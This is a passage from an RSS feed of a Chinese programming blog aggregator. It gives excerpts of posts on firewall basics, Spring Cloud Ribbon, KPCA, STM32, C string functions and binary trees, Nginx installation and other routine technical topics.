      <guid>https://bchobby.github.io/posts/8314e31d668c6f46d6bf4895220fe8f2/</guid>
      <description>防火墙概述 为什么需要防火墙？ 路由器和交换机构建起互联互通的网络，但是也会带来安全隐患。例如在网络边界，企业有如下安全诉求：&#xA;1.外部网络隔离&#xA;2.内部网络安全管控&#xA;3.内容安全过滤&#xA;4.入侵防御&#xA;5.防病毒&#xA;什么是防火墙？ 它是一种安全设备，用于保护一个网络不受另一个网络的攻击和入侵，通常被应用在网络边界，例如企业网的外部出口、企业内部业务边界、数据中心边界。&#xA;根据形态主要可分为：框式防火墙、盒式防火墙、软件防火墙&#xA;防火墙典型应用场景 防火墙种类 包过滤防火墙 基于五元组对每个数据包进行检测，也就是主要基于数据包中的源/目的IP地址、源/目的端口号、IP 标识和报文传递的方向等信息，根据配置的安全策略进行转发或丢弃数据包（通过配置访问控制列表（Access Control List，ACL）实施数据包的过滤。）。&#xA;优点是：这种防火墙设计简单，价格便宜。&#xA;缺点是：逐包检测，性能较低；ACL规则难以适应动态需求；通常不检查应用层数据；无报文关联分析，容易被欺骗。&#xA;状态检测防火墙 是包过滤技术的发展，它考虑报文前后的关联性，检测的是连接状态而非单个报文。&#xA;例如：&#xA;本例中，状态检测防火墙检测到10.0.0.1与20.0.0.1建立TCP连接，并产生会话信息。第三次握手报文不符合TCP连接状态，报文被丢弃。&#xA;代理型防火墙 代理型防火墙使得防火墙做为一个访问的中间节点，对客户端来说防火墙是一个服务器，对服务器来说防火墙是一个客户端。代理型防火墙安全性较高，但是开发代价很大。对每一种应用开发一个对应的代理服务是很难做到的，因此代理型防火墙不能支持很丰富的业务，只能针对某些应用提供代理支持。&#xA;AI防火墙 AI防火墙是结合AI技术的新一代防火墙。它通过结合AI算法或AI芯片等多种方式，进一步提高了防火墙的安全防护能力和性能。内置的恶意文件检测引擎CDE、诱捕Sensor、APT检测引擎和探针，支持与沙箱和华为大数据分析平台CIS联动检测，打造智能防御体系。&#xA;防火墙的基本概念 安全区域 一个安全区域是防火墙若干接口所连网络的集合，一个区域内的用户具有相同的安全属性&#xA;华为防火墙默认创建了四个安全区域：trust、untrust、dmz、local区域，防火墙默认安全区域均为小写字母，且大小写敏感。这些安全区域不能被删除，也不允许修改安全优先级。每个区域都要设置安全优先级，值越大则优先级越高。当然用户也可根据需求，创建自定义的安全区域。&#xA;区域名称&#xA;默认安全优先级&#xA;非受信区域（untrust）&#xA;低安全级别区域，优先级为5。&#xA;非军事化区域（dmz）&#xA;中等安全级别区域，优先级为50。&#xA;受信区域（trust）&#xA;较高安全级别区域，优先级为85。&#xA;本地区域（local）&#xA;Local区域定义的是设备本身，例如设备的接口。Local区域是最高安全级别区域，优先级为100。&#xA;非受信区域（untrust ）：通常用于定义 Internet 等不安全的网络。 非军事化区域（dmz ）：通常用于定义内网服务器所在区域。因为这种设备虽然部署在内网，但是经常需要被外网访问，存在较大安全隐患，同时一般又不允许其主动访问外网，所以将其部署一个优先级比 trust 低，但是比 untrust 高的安全区域中。 ▫ DMZ （ Demilitarized Zone ）起源于军方，是介于严格的军事管制区和松散的公共区域之间的一种有着部分管制的区域。防火墙设备引用了这一术语，指代一个逻辑上和物理上都与内部网络和外部网络分离的安全区域。 ▫ DMZ 安全区域很好地解决了服务器的放置问题。该安全区域可以放置需要对外提供网络服务的设备，如 WWW 服务器、 FTP 服务器等。上述服务器如果放置于内部网络，外部恶意用户则有可能利用某些服务的安全漏洞攻击内部网络；如果放置于外部网络，则无法保障它们的安全。 受信区域（trust ）：通常用于定义内网终端用户所在区域。 本地区域（local ）： local 区域定义的是设备本身，包括设备的各接口本身。凡是由设备构造并主动发出的报文均可认为是从 Local 区域中发出，凡是需要设备响应并处理（而不仅是检测或直接转发）的报文均可认为是由 local 区域接收。用户不能改变 local 区域本身的任何配置，包括向其中添加接口。由于local 区域的特殊性，在很多需要设备本身进行报文收发的应用中，需要开放对端所在安全区域与 local 区域之间的安全策略。（例如防火墙之间建立OSPF邻居关系） 流量的源、目的地址决定了互访的区域。本例1中PC访问防火墙的接口的流量实际上是从trust zone到达local zone；本例2中PC访问Internet的流量实际上是从trust zone到达untrust zone。</description>
    </item>
    <item>
      <title>Spring Cloud Ribbon源码解析</title>
      <link>https://bchobby.github.io/posts/81fe71c1ff2dc7f6390b60a1fa4149ca/</link>
      <pubDate>Sat, 21 May 2022 11:41:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81fe71c1ff2dc7f6390b60a1fa4149ca/</guid>
      <description>1 概述 Spring Cloud Ribbon 可以实现客户端负载均衡，本文仅仅以Ribbon单独使用时对源码进行分析和理解，没有集成Eureka。&#xA;Ribbon会针对我们在配置文件中配置的服务地址进行负载均衡的计算，得到目标地址后，进行服务的调用。&#xA;接下来会针对两方面进行分析：&#xA;1、为什么我们使用@LoadBalanced注解作用于RestTemplate上就可以实现负载均衡了呢？&#xA;2、如何对服务地址进行解析的呢？&#xA;2 版本信息 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-netflix-ribbon&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.2.9.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 3 源码解析 3.1 @LoadBalancer注解的作用 在使用RestTemplate的时候，我们加了一个@LoadBalance注解，就能让这个RestTemplate在请求时，就拥有客户端负载均衡的能力。&#xA;@Bean @LoadBalanced RestTemplate restTemplate() { return new RestTemplate(); } 然后，我们打开@LoadBalanced这个注解，可以发现该注解仅仅是声明了一个@Qualifier 注解。&#xA;@Target({ ElementType.FIELD, ElementType.PARAMETER, ElementType.METHOD }) @Retention(RetentionPolicy.RUNTIME) @Documented @Inherited @Qualifier public @interface LoadBalanced { } @Qualifier注解相信大家在spring中都接触过，起作用就是当您创建多个相同类型的 bean 并希望仅使用属性装配其中一个 bean 时，您可以使用@Qualifier 注解和 @Autowired 通过指定应该装配哪个确切的 bean来消除歧义。&#xA;下面我们进行一个案例演示：&#xA;现在我们有一个TestClass类，想把这个类的实例对象注入到Spring容器中&#xA;public class TestClass { private String name; } @Configuration public class TestConfig { @Bean(&#34;</description>
    </item>
    <item>
      <title>核主元分析 KPCA及matlab代码</title>
      <link>https://bchobby.github.io/posts/862be0744917f723303c4a8806122230/</link>
      <pubDate>Sat, 21 May 2022 09:45:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/862be0744917f723303c4a8806122230/</guid>
      <description>前言 发现一篇很好的分享KPCA代码的文章 转载链接： f核主元分析 (Kernel Principal Component Analysis , KPCA) – MATLAB中文论坛 (ilovematlab.cn)&#xA;原博主处有打包matlab代码 对于简单的数据降维，可参考：&#xA;用matlab实现kpca（核主成分分析法）_Bbei的博客-CSDN博客_matlabkpca&#xA;kpca思路和pca很像，可以了解 MATLAB实例：PCA（主成成分分析）详解_FDA_sq的博客-CSDN博客_matlab pca&#xA;KPCA简介 KPCA、PCA应用：&#xA;降维特征提取去噪故障检测 假设训练数据由矩阵𝑋𝑛×𝑚表示，𝑚代表训练数据的大小，𝑛代表训练数据中特征向量的维度，KPCA具体实现过程如下： Step1：利用核函数计算核矩阵𝑲=[𝐾𝑖𝑗]𝑚×𝑚 Step2：核矩阵𝑲的中心化 Step3：对中心化核矩阵𝑲𝒄𝒆𝒏𝒕𝒆𝒓进行特征值分解 Step4：特征向量𝛼的标准化 Step5：提取训练数据的主成分 Step6：提取测试数据的主成分 KPCA的性能取决于核函数、核参数的选择。常用的核函数有线性核函数(Linear)、径向基(Radial Basis Function, RBF)和积分径向基(The Integrated Radial Basis Function, IRBF)核函数。当使用线性核函数时，KPCA退化为PCA。&#xA;主要功能&#xA;易于使用的 API支持基于 KPCA 的数据降维、特征提取、数据重构支持基于 KPCA 的故障检测和故障诊断支持多种核函数 (linear, gaussian, polynomial, sigmoid, laplacian)支持基于主元贡献率或给定数字的降维维度/主元个数选取 注意 仅支持基于高斯核函数的故障诊断核函数的参数对KPCA 模型的性能影响很大此代码仅供参考 使用说明 1. KPCA的建模过程（故障检测）： （1）获取训练数据（工业过程数据需要进行标准化处理）&#xA;（2）计算核矩阵&#xA;（3）核矩阵中心化&#xA;（4）特征值分解&#xA;（5）特征向量的标准化处理&#xA;（6）主元个数的选取&#xA;（7）计算非线性主成分（即降维结果或者特征提取结果）&#xA;（8）SPE和T2统计量的控制限计算&#xA;function model = kpca_train(X,options) % DESCRIPTION % Kernel principal component analysis (KPCA) % % mappedX = kpca_train(X,options) % % INPUT % X Training samples (N*d) % N: number of samples % d: number of features % options Parameters setting % % OUTPUT % model KPCA model % % % Created on 9th November, 2018, by Kepeng Qiu.</description>
    </item>
    <item>
      <title>STM32简介（系统结构、引脚定义……）</title>
      <link>https://bchobby.github.io/posts/cceb17bbf619540d5205009813b8df9a/</link>
      <pubDate>Fri, 20 May 2022 16:34:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cceb17bbf619540d5205009813b8df9a/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、STM32简介二、STM32F103xxx1.STM32F1系列片上资源/外设2.命名规则3.系统结构4.引脚定义5.启动配置6.STM32最小系统电路 总结 前言 提示：这里可以添加本文要记录的大概内容：&#xA;介绍STM32的片上资源/外设、命名规则、系统结构、引脚定义、启动配置、最小系统电路等基础内容。&#xA;STM32：ST指ST公司、M指Microcontroller（微控制器）&#xA;一、STM32简介 1）STM32是ST公司基于ARM Cortex-M内核开发的32位微控制器。&#xA;2）STM32常用在嵌入式领域。&#xA;（1）智能车：循迹小车，读取光电传感器或者摄像头的数据，驱动电机前进和转弯。&#xA;（2）无人机：读取陀螺仪加速度计的姿态数据，根据控制算法控制电机速度，保证飞机稳定飞行。&#xA;（3）机器人：驱动舵机，控制其关节，让机器人运动。&#xA;（4）无线通信：给STM32连接一些2.4G无线模块或者蓝牙、WIFI模块，则具备无线通信能力。&#xA;（5）物联网：借助无线通信模块，再通过STM32驱动继电器来控制220v电路的通断。&#xA;（6）工业控制：PLC主控。&#xA;（7）娱乐电子产品：流水灯之类……&#xA;（8）……&#xA;3）STM32功能强大、性能优异、片上资源丰富、功耗低、是一款经典的嵌入式微控制器。&#xA;此处用STM32F103C8T6。&#xA;二、STM32F103xxx 1.STM32F1系列片上资源/外设 NVIC：管理中断，如配置中断优先级等。&#xA;SysTick：给操作系统提供定时服务。&#xA;RCC：使能外设时钟。&#xA;AFIO：复用功能端口重定义，及中断端口配置。&#xA;CAN：多应用于汽车领域&#xA;RTC：在STM32内部完成年月日、时分秒的计时功能，可接外部备用电池，掉电也可使用。&#xA;CRC：判断数据的正确性。&#xA;PWR：电源可睡眠，使功耗降低。&#xA;GPIO、EXTI、TIM、USART、I2C、SPI、ADC、DMA等都会在专题内逐一介绍。&#xA;……&#xA;如果操作片上不存在的外设资源，是无法工作的。&#xA;2.命名规则 示例：STM32 F103 C 8 T 6&#xA;![103含义](https://img-blog.csdnimg.cn/50531279eb4e498a957f244072ef64bf.png&#xA;![8含义](https://img-blog.csdnimg.cn/6cdd6a922fdd479cb3a640efc89ec5aa.png&#xA;可见STM32F103C8T6的具体参数为：增强型、48脚、64K字节的闪存存储器、LQFP封装、在-40~85℃间可正常工作。&#xA;3.系统结构 将此结构分成四个部分：&#xA;**（1）**区域1位Cortex-M3内核，内核引出三条总线；分别是ICode指令总线、DCode数据总线、System系统总线。其中ICode和DCode主要用以连接Flash闪存，Flash中存储的内容为我们所编写的程序。ICode指令总线就是用以加载指令程序的，DCode数据总线是用来加载数据的，比如常量和调试参数等。System系统总线连接其他东西上，如SRAM（用于存储程序运行时的变量数据）、FSMC等。&#xA;**（2）**AHB（先进高性能总线）系统总线用于挂在主要外设，挂载的一般是最基本的或者是性能比较高的外设，如复位和时钟控制（RCC）、SDIO、两个桥接（APB1和APB2）等。APB（先进外设总线），用于连接一般的外设；因为AHB与APB在总线协议、总线速度、数据传送格式之间的差异，故中间需要加两个桥接，完后数据的转换和缓存。APB2（一般与AHB同频）的性能比APB1高一些，故连接一些外设中稍微重要的部分，如GPIO、外设的一号（USART1、TIM1、ADC1……）；APB1则连接DAC、外设的其它号（USART2、TIM2……）。前文所述的就为区域3，主要介绍的就是外设种类和分布。&#xA;**（3）**区域4为DMA（直接内存访问），可理解为内核CPU小秘书，若是有一些大量搬运数据的工作，为了减少CPU的工作量，给其它工作腾出时间，就将此工作交给DMA来做。&#xA;DMA主要用来做如数据搬运一样简单且反复要做的事情，其通过DMA总线连接到总线矩阵上，可以拥有和CPU一样的控制权，用于访问其它外设；当需要DMA搬运数据时，外设就会通过请求线发送DMA请求，然后DMA就会获得总线控制权，访问并转运数据，整个过程不需要CPU的参与，省下CPU的时间来干其它事。&#xA;4.引脚定义 在拿到新的芯片时，需要着重的看一下其引脚定义，这样才能大致了解该如何使用该芯片。&#xA;砖红色：与电源相关的引脚；有FT则表示其可忍受5V电压，如果没有FT，需要5V的电平就需要加装电平转换电路。&#xA;蓝色：与最小系统相关的引脚&#xA;绿色：I/O口、功能口相关引脚&#xA;主功能就是上电后默认的功能，一般和引脚名称相同；若不同，引脚的实际功能是主功能而不是引脚名称的功能。默认复用功能，是IO口同时连接的外设功能引脚，在配置IO时可以选择是通用IO口还是复用功能。重定义功能，其作用是如果有两个功能同时复用在一个IO上，而且确实需要这两个功能，就可以把其中一个复用功能重映射到其他端口上（前提是，重定义功能的表里有对应的端口）。&#xA;**1）**VBAT：备用电池供电引脚，其可接一个3V的电池，当系统电源断电时，备用电池可以给内部的RTC时钟和备份寄存器提供电源。&#xA;**2）**2号引脚是IO口或者侵入检测或RTC，IO口可根据程序输出或读取高低电平，是最基本也是最常用功能；侵入检测可以用来做安全保障的功能；RTC可用来输出RTC校准时钟、RTC闹钟脉冲或秒脉冲。&#xA;**3）**3、4号引脚是IO口或者接32.768KHz的RTC晶振。&#xA;**4）**5、6号引脚接系统主晶振，一般是8MHz。芯片内有锁相环电路，可以对8MHz的频率进行倍频，最终产生72MHz频率，作为系统的主时钟。&#xA;**5）**7号NRST为系统复位引脚，N表示它是低电平复位。&#xA;**6）**8、9号引脚是内部模拟部分的电源，如ADC、RC振荡器等。VSS为负极，接GND，VDD是正极，接3.3V。&#xA;**7）**10~19号引脚都为IO口，PA0兼具Wake-up功能，用于唤醒处于待机模式的STM32.&#xA;20号引脚为IO口或者BOOT1引脚，BOOT引脚是用来配置启动模式的。&#xA;**8）**23、24号的VSS_1（负极）和VDD_1（正极）是系统的主电源口。后面的VSS_2和VDD_2、VSS_3和VDD_3都是系统的主电源口，STM32内部采用分区供电的模式，把VSS都接GND，VDD都接3.3V即可。&#xA;**9）**25~33都为IO口。&#xA;**10）**34号加37号40号，都是IO口或者调试端口；默认的主功能是调试端口，调试端口就是用来调试程序和下载程序的，次STM32支持SWD和JTAG两种调试方式。SWD需要两根线，分别是SWDIO和SWCLK；JTAG需要5根线，分别是JTMS、JTCK、JTDI、JTDO、NJTRST。此处介绍用STLINK下载调试程序，在SWD调试方式时，PA15、PB3、PB4可以切换回普通的IO使用，但是要在程序中进行配置，不配置的话默认是不会为IO口的。&#xA;**11）**41-43及45~46都是IO口，44号BOOT0做启动配置。</description>
    </item>
    <item>
      <title>C语言数据结构学习（clion版本）</title>
      <link>https://bchobby.github.io/posts/f4ad32f75037a2b3f65eadf33099c9f5/</link>
      <pubDate>Fri, 20 May 2022 16:06:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4ad32f75037a2b3f65eadf33099c9f5/</guid>
      <description>栈的应用（就近匹配，逆波兰表达式） 先放一张clion设置截图，用于分割不同作用的文件，以及怎么定义路径和引用。&#xA;需要在main.c同级的CMakeLists.txt中定义source_file和header_file。&#xA;在CMakeLists.txt加入设置：&#xA;include_directories(&#34;source_file&#34;) include_directories(&#34;header_file&#34;) 在source_file中对header_file中的文件进行实现，在头文件那里，可以通过相对路径引入，也可以通过CMakeLists.txt文件，设置。&#xA;这样就让clion中的C语言工程和visual studio中的一样了。注意，clion中，尽量不要用中文定义文件夹，容易出现路径寻找不到的问题。&#xA;括号匹配 #include &amp;lt;stdio.h&amp;gt; #include &#34;stackFinishByArray.h&#34; int isLeft(char ch){ return ch==&#39;(&#39;; } int isRight(char ch){ return ch==&#39;)&#39;; } void printError(char *str,char *errMsg,const char *pos){ printf(&#34;错误的信息：%s\n&#34;,errMsg); printf(&#34;%s\n&#34;,str); //计算打印空格的数量 long long num = pos-str; //char型指针地址（占一个字节）相减 for (int i = 0; i &amp;lt; num; ++i) { printf(&#34; &#34;); } printf(&#34;|\n&#34;); } void test01() { char *str = &#34;5+5*(6)+*/3*1-(1+3(&#34;; char *p =str; //定义一个指针指向字符串的头地址 seqStack myStack = init_Stack(); while (*p!</description>
    </item>
    <item>
      <title>BCompare--使用</title>
      <link>https://bchobby.github.io/posts/a2dc92da0e4da962cae8c54ee705683d/</link>
      <pubDate>Fri, 20 May 2022 15:14:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2dc92da0e4da962cae8c54ee705683d/</guid>
      <description>BCompare简介：文件夹，文件的对比与合并&#xA;比较文件夹：&#xA;打开软件，选择“文件夹比较”&#xA;点击之后&#xA;选择文件夹&#xA;输入文件夹路径，并点击按钮进入（或直接拖入文件夹）&#xA;结果：&#xA;右侧也是这样进行，结果：&#xA;内容不同的会在中间显示，也可以点击中间箭头进行合并，最后关闭BCompare时选择保存&#xA;**对于文章出现的任何问题请大家批评指出，一定及时修改&#xA;**可联系我：3113964587@qq.com&#xA;**本文原创，如需转载请标注出处！</description>
    </item>
    <item>
      <title>strcmp函数详解看这一篇就够了-C语言（函数实现、使用用法举例、作用、与strncmp的区别）</title>
      <link>https://bchobby.github.io/posts/ffc811f57b98ff0aaef9c990185d487f/</link>
      <pubDate>Fri, 20 May 2022 15:12:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ffc811f57b98ff0aaef9c990185d487f/</guid>
      <description>首先要明确strcmp的功能是：用来比较两个字符串&#xA;目录&#xA;函数介绍&#xA;ACSII表&#xA;与strncmp的区别&#xA;函数实现：&#xA;用法示例：&#xA;结果展示：&#xA;函数介绍 函数原型：int strcmp(const char* str1, const char* str2)&#xA;头 文 件：#include &amp;lt;string.h&amp;gt;&#xA;返 回 值：str1 = str2 则返回0，&#xA;str1 &amp;gt; str2 则返回大于0的值，&#xA;str1 &amp;lt; str2 则返回小于0的值&#xA;说明：&#xA;判断两个字符串大小&#xA;1）ACSII码 2）长度&#xA;注：区分大小写比较的，如果希望不区分大小写进行字符串比较，可以使用stricmp函数&#xA;strcmp()函数首先将str1字符串的第一个字符的ACSII值减去str2第一个字符的ACSII值(自左向右逐个字符相比，直到出现不同的字符或遇&#39;\0&#39;为止)&#xA;若差值为零则继续比较下去；若差值不为零，则返回差值。&#xA;特别注意：strcmp可用于比较两个字符串常量或比较数组和字符串常量，不能比较数字等其他形式的参数。&#xA;ACSII表 与strncmp的区别 1、先比较一下两个函数传参的不同：&#xA;int My_strncmp(const char* str1, const char* str2, int num)&#xA;int My_strcmp(const char* str1, const char* str2)&#xA;strcmp与strncmp都是用来比较字符串的，区别在于能否比较指定长度字符串，故要多传一个长度参数，这也使得strncmp比strcmp更加精细。&#xA;函数实现： //以null结尾的字符串 const修饰防止字符串被修改，进行保护 int My_strcmp(const char* str1, const char* str2) { assert(NULL !</description>
    </item>
    <item>
      <title>getchar函数详解看这一篇就够了-C语言（函数功能、使用、返回值）</title>
      <link>https://bchobby.github.io/posts/917db1388dcfb3acf47d42986d82e6eb/</link>
      <pubDate>Fri, 20 May 2022 15:10:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/917db1388dcfb3acf47d42986d82e6eb/</guid>
      <description>首先要明确getchar的功能是：从计算机终端（一般是键盘）输入一个字符，其值就是输入得到的字符。&#xA;目录&#xA;getchar函数简介&#xA;getchar函数执行过程详解（配图）&#xA;getchar用法示例&#xA;解释一下：while ((ch=getchar()) != &#39;EOF&#39;)&#xA;getchar函数简介 函数原型：int getchar(void); 返回类型为int,参数为void&#xA;头 文 件：#include&amp;lt;stdio.h&amp;gt;&#xA;返 回 值： 1、getchar返回的是字符的ASCII码值（整数）。&#xA;2、getchar在读取结束或者失败的时候，会返回EOF。&#xA;(EOF意思是end of file,本质上是-1）&#xA;读取方式：只能输入字符型,输入时遇到回车键才从缓冲区依次提取字符。&#xA;结束输入的方式：以Enter结束输入（空格不结束），接受空格符。&#xA;舍弃回车符的方法：以Enter结束输入时，接受空格，会舍弃最后的回车符。&#xA;getchar函数执行过程详解（配图） 程序执行到getchar()函数时，自动从输入缓冲区中去找字符，如果输入缓冲区中没有字符的话，那么就等待用户输入字符，此时用户使用键盘输入的字符，被输入到输入缓冲区中，键盘输入字符的时候首先进入输入缓冲区,然后getchar()函数获得的字符是从输入缓冲区中提取的且每次只能提取一个字符。&#xA;​&#xA;getchar用法示例 #include&amp;lt;stdio.h&amp;gt; int main() { char ch = getchar();//输入字符 putchar(ch); return 0; } 它的简单意思就是从键盘读入一个字符，然后输出到屏幕。理所当然，我们输入A，输出就是A，输入B，输出就是B。&#xA;那么我们如果输出的是ABC呢？答案是A。&#xA;解释如下：当我们从键盘输入字符‘A’，‘B’, &#39;C&#39;，并按下回车后，我们的输入被放入了输入缓冲区，这个时候getchar()会从缓冲区中读取我们刚才的输入，一次只读一个字符，所以字符A就被拿出来了，赋值给了ch，然后putchar()又将ch放在了标准输出，也就是这里的屏幕，所以我们看见了最终的显示结果A。同时字符‘A’也被缓冲区释放了，而字符‘B’,&#39;C&#39;仍然被留在了缓冲区。而这样是很不安全的，有可能下次使用的时候，我们的缓冲区会读到一些垃圾，但是当程序结束的时候，它会自动刷新。&#xA;解释一下：while ((ch=getchar()) != &#39;EOF&#39;) #include&amp;lt;stdio.h&amp;gt; int main() { char ch ; while ((ch=getchar()) != &#39;EOF&#39;) { putchar(ch); } return 0; } getchar先读取一个字符放到ch里面去，如果这个字符不等于EOF，就进入循环，打印这个字符。当getchar读到文件末尾或者结束时，它会返回一个EOF，此时结束循环。</description>
    </item>
    <item>
      <title>二叉树的基本操作-C语言实现-数据结构作业</title>
      <link>https://bchobby.github.io/posts/b45c4cd29d24329aaf0f89b2274828ed/</link>
      <pubDate>Fri, 20 May 2022 15:09:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b45c4cd29d24329aaf0f89b2274828ed/</guid>
      <description>目录&#xA;(1)二叉树的创建；&#xA;(2)二叉树的先序、中序和后序遍历输出；&#xA;(3)输出二叉树的叶子节点和度为2的节点的数量；&#xA;(4)输出二叉树的深度；&#xA;(5)将二叉树所有节点的左右子树互换(左子树变右子树，右子树变左子树)；&#xA;(6)参考书上，二叉树按层次输出(一行输出一层)；&#xA;(7)删除二叉树(释放二叉树所有节点空间)；&#xA;完整代码&#xA;运行结果展示&#xA;编写一个带菜单的实验演示系统（参考前面实验的菜单系统）。要求演示以下功能（界面、函数及相关数据结构等根据需要自行设计和定义）：&#xA;(1)二叉树的创建；&#xA;(2)二叉树的先序、中序和后序遍历输出；&#xA;(3)输出二叉树的叶子节点和度为2的节点的数量；&#xA;(4)输出二叉树的深度；&#xA;(5)将二叉树所有节点的左右子树互换(左子树变右子树，右子树变左子树)；&#xA;(6)参考书上，二叉树按层次输出(一行输出一层)；&#xA;(7)删除二叉树(释放二叉树所有节点空间)；&#xA;(1)二叉树的创建； BiTree CreatePreTree()//建立二叉树 { char c; scanf(&#34;%c&#34;, &amp;amp;c); if (c == &#39;#&#39;) //表示空子树 return NULL; else { BiTree T = (BiTree)malloc(sizeof(BiTreeNode)); T-&amp;gt;data = c; T-&amp;gt;leftChild = CreatePreTree(); T-&amp;gt;rightChild = CreatePreTree(); return T; } } (2)二叉树的先序、中序和后序遍历输出； void PreOrder(BiTreeNode* root, void visit(DataType item)) { //前序遍历二叉树root，访问操作为visit if (root != NULL) { visit(root-&amp;gt;data); PreOrder(root-&amp;gt;leftChild, visit); PreOrder(root-&amp;gt;rightChild, visit); } } void InOrder(BiTreeNode* root, void visit(DataType item)) { //中序遍历二叉树root，访问操作为visit if (root !</description>
    </item>
    <item>
      <title>Hololens2 &#43; VS2019负载安装</title>
      <link>https://bchobby.github.io/posts/071eb38fd6ebee787a9f91b0cd93d246/</link>
      <pubDate>Fri, 20 May 2022 14:13:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/071eb38fd6ebee787a9f91b0cd93d246/</guid>
      <description>1.如图，VS2019已经安装完成，VS Installer可以添加工作负荷和组件。&#xA;2.点击VS Installer，进行Hololens所需要的工作负荷及组件，点击修改。&#xA;3.具体安装工作负荷如图所示，选择完成后，点击修改进行安装。&#xA;4.工作负荷及组件修改过程。</description>
    </item>
    <item>
      <title>电脑微信语音通话听不到对方声音或无法播放消息语音</title>
      <link>https://bchobby.github.io/posts/71d8a74b2f90d460fe014cab495b3204/</link>
      <pubDate>Fri, 20 May 2022 12:31:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71d8a74b2f90d460fe014cab495b3204/</guid>
      <description>最近面试时发现电脑版微信在语音通话时听不到对方的声音（对方可以听到自己的声音），试了重装微信、更新驱动等等操作发现都不行，上网搜了一下发现原来是音量合成器中微信通道的声音没开，打开就好了。&#xA;如果你此时也面临着微信语音通话听不到对方的声音或者对方发来的语音消息点开没有声音，那么请尝试以下步骤解决：&#xA;1、右键声音图标，选择打开音量合成器&#xA;2、在音量合成器中，打开微信的声音，完成！</description>
    </item>
    <item>
      <title>Nginx 安装</title>
      <link>https://bchobby.github.io/posts/33fadef1cc32ac9c520860cdb469d052/</link>
      <pubDate>Fri, 20 May 2022 11:33:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33fadef1cc32ac9c520860cdb469d052/</guid>
      <description>1、Nginx WEB入门简介&#xA;Nginx [engine x]是Igor Sysoev编写的一个HTTP和反向代理服务器，另外它也可以作为邮件代理服务器。 它已经在众多流量很大的俄罗斯网站上使用了很长时间，这些网站包括Yandex、Mail.Ru、VKontakte，以及Rambler。&#xA;据Netcraft统计，在2012年8月份，世界上最繁忙的网站中有11.48%使用Nginx作为其服务器或者代理服务器。目前互联网主流公司360、百度、新浪、腾讯、阿里等都在使用nginx作为自己的web服务器。&#xA;Nginx由内核和模块组成，其中，内核的设计非常微小和简洁，完成的工作也非常简单，仅仅通过查找配置文件将客户端请求映射到一个location block（location是Nginx配置中的一个指令，用于URL匹配），而在这个location中所配置的每个指令将会启动不同的模块去完成相应的工作。&#xA;Nginx相对于Apache优点：&#xA;1)高并发响应性能非常好，官方Nginx处理静态文件并发5w/s&#xA;2)反向代理性能非常好。（可用于负载均衡）&#xA;3)内存和cpu占用率低。（为Apache的1/5-1/10）&#xA;4)功能较Apache少（常用功能均有）&#xA;5)对php可使用cgi方式和fastcgi方式。&#xA;2、 Nginx WEB安装配置&#xA;安装编译工具及库文件&#xA;yum -y install make zlib zlib-devel gcc-c++ libtool openssl openssl-devel&#xA;首先需要安装pcre库&#xA;然后再安装Nginx，安装pcre支持rewrite库&#xA;#源码安装pcre&#xA;2.1、下载 PCRE 安装包，下载地址： http://downloads.sourceforge.net/project/pcre/pcre/8.35/pcre-8.35.tar.gz&#xA;cd /usr/src/&#xA;wget http://downloads.sourceforge.net/project/pcre/pcre/8.35/pcre-8.35.tar.gz&#xA;2.2、解压安装包:&#xA;tar zxvf pcre-8.35.tar.gz&#xA;2.3、进入安装包目录&#xA;cd pcre-8.35&#xA;2.4、编译安装&#xA;./configure&#xA;make &amp;amp;&amp;amp; make install&#xA;2.5、查看pcre版本&#xA;pcre-config --version&#xA;3、安装 Nginx&#xA;#下载Nginx源码包&#xA;cd /usr/src ;&#xA;wget -c http://nginx.org/download/nginx-1.4.2.tar.gz&#xA;#解压Nginx源码包&#xA;tar -xzf nginx-1.</description>
    </item>
    <item>
      <title>唐老师讲运算放大器(第三讲)——运放相关参数及选型指南</title>
      <link>https://bchobby.github.io/posts/71b321d42b03d44aeb78e14dbbacfcad/</link>
      <pubDate>Fri, 20 May 2022 09:20:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71b321d42b03d44aeb78e14dbbacfcad/</guid>
      <description> 九、 输入电压范围 轨到轨：意思是输出或者输入电压的范围和供电范围的临界程度，若很接近，则轨到轨，否则不是轨到轨(例如十中的LM324)，又分为输入轨到轨(输入电压范围很接近电源电压范围)和输出轨到轨(输出电压范围很接近电源电压范围)&#xA;十、 输出电压范围 十一、 短路电流 十二、 输入阻抗(越大越好) 常用运放 运放选型 TI放大器的命名规范 TI精密放大器家族 精密运放的选型指南 </description>
    </item>
    <item>
      <title>WebStorm项目上传gitee的方法步骤-idea同样适用</title>
      <link>https://bchobby.github.io/posts/7498ea6f47f1ab6ce75fa72dd5bdcbf5/</link>
      <pubDate>Thu, 19 May 2022 22:08:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7498ea6f47f1ab6ce75fa72dd5bdcbf5/</guid>
